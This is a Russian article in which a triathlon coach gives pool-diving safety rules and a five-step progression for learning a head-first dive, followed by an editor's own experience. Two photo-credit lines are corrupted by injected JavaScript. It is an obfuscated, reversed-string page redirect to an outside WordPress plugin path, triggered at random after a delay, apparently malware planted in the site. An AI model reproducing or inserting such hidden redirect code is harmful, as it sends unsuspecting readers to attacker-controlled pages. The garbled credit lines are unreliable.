Как научиться нырять рыбкой: показывает тренер

Вы давно мечтаете освоить прыжок в воду рыбкой, но не знаете, с чего начать? Мы готовы помочь. Главный тренер спортивной экосистемы «ЦиклON» Игорь Сысоев рассказывает о технике безопасности и показывает несколько подготовительных упражнений.

Нырок — красивый и эффективный способ входа в воду. Многие мечтают научиться нырять в воду рыбкой. Хорошая новость: это под силу любому, кто не боится воды и умеет плавать.

Техника безопасности

Перед тем как нырять, убедитесь в следующем:

• бассейн достаточно глубокий — приемлемой для ныряния вниз головой считается глубина не менее 2,4 м;
  
• на дорожке нет людей, с которыми вы можете столкнуться во время погружения в воду;
• на бортике нет сколов кафельной плитки, острых краёв, посторонних предметов — иначе вы рискуете сильно пораниться;
• ныряние не запрещено правилами поведения в бассейне.

Важно: не ныряйте в природные водоёмы, особенно малознакомые, это может привести к травме.

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Как научиться нырять рыбкой

Не следует сразу прыгать в воду вниз головой — отрабатывать технику ныряния нужно в несколько этапов.

Шаг 1: привыкните к правильному положению тела

Фото: Элина Ли

Фото: Элина Ли

Фото: Элина Ли

1. Исходное положение — «стрелочка»: руки сомкнуты над головой, лопатки сведены, грудь расправлена, голова расположена либо между рук, либо за руками.
   
2. Оттолкнитесь ногами, нырните и постарайтесь «скользить» под водой. Ноги держите вместе. Старайтесь не отклоняться в стороны, запомните обтекаемое положение тела.

Шаг 2: попробуйте нырять с небольшой высоты

Фото: Элина Ли

Фото: Элина Ли

Фото: Элина Ли

1. Исходное положение — глубокий присед, руки — в положении «стрелочка».
2. Начните падать с небольшой высоты руками вперёд. Одновременно выпрямляйте ноги.

Фото: Элина Ли

 

Игорь Сысоев

главный тренер спортивной экосистемы «ЦиклON» и сборной России по триатлону, м. с. м. к. по триатлону

— Пальцами ног нужно захватывать бортик — такое положение поможет вам улучшить сцепление стоп с поверхностью и эффективнее оттолкнуться. А ещё так у вас будет меньше риск потерять равновесие.

Шаг 3: увеличьте высоту и попробуйте оттолкнуться

Фото: Элина Ли

Фото: Элина Ли

Фото: Элина Ли

Фото: Элина Ли

1. Исходное положение — полуприсед, руки — в положении «стрелочка».
2. Начните падать из этого положения руками вперёд. Одновременно выпрямляйте ноги.

Шаг 4: научитесь падать в воду из положения стоя

Фото: Элина Ли

Фото: Элина Ли

Фото: Элина Ли

1. Встаньте на бортик или тумбу, соедините руки над головой.
2. Потянитесь руками вниз, приподнимитесь на носочки и, немного оттолкнувшись ногами от поверхности, начните падать в воду. 

Шаг 5: выполните нырок в полную амплитуду

Теперь вы готовы к тому, чтобы входить в воду красиво и быстро! Попробуйте нырнуть рыбкой.

Фото: Элина Ли

Фото: Элина Ли

Фото: Элина Ли

1. Встаньте на бортик или тумбу, поставьте руки в положение «стрелочка».
2. Наклонитесь руками вниз, приподнимитесь на носочки и, энергично оттолкнувшись ногами от поверхности, начните падать. 

 

Игорь Сысоев

главный тренер спортивной экосистемы «ЦиклON» и сборной России по триатлону, м. с. м. к. по триатлону

— Во время движения вниз нужно оттолкнуться ногами, дать себе ускорение и в полёте свести ноги. Держите ноги прямыми, носочки вытянутыми. 

Как научиться нырять: личный опыт

Фото: Элина Ли

Фото: Элина Ли

Фото: Элина Ли

 

Лена Калашникова

редактор fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

— Давно мечтала научиться нырять рыбкой, ведь это так эффектно смотрится. И даже однажды пробовала, но мне подсказывали друзья, и, видимо, их советы не были очень полезными. У меня был страх перед входом в воду головой вниз — ведь если рассматривать это как падение, то очень не хочется удариться. В итоге я просто отказывалась нырять из-за паники. Но стоило мне приехать на съёмку этого материала с Игорем Сысоевым, как под контролем тренера я нырнула в воду со второй попытки. Правда, в финальной точке прыжка согнула ноги. Постараюсь в следующий раз избежать этой ошибки.

Благодарим Дворец водных видов спорта «Лужники» за помощь в организации и проведении съёмки.

Статьи по теме

10 летних видов спорта, которые круто сжигают калории

Как плавать в открытой воде: 11 советов

6 причин заняться аквааэробикой

3 открытых бассейна Москвы, где вы можете плавать прямо сейчас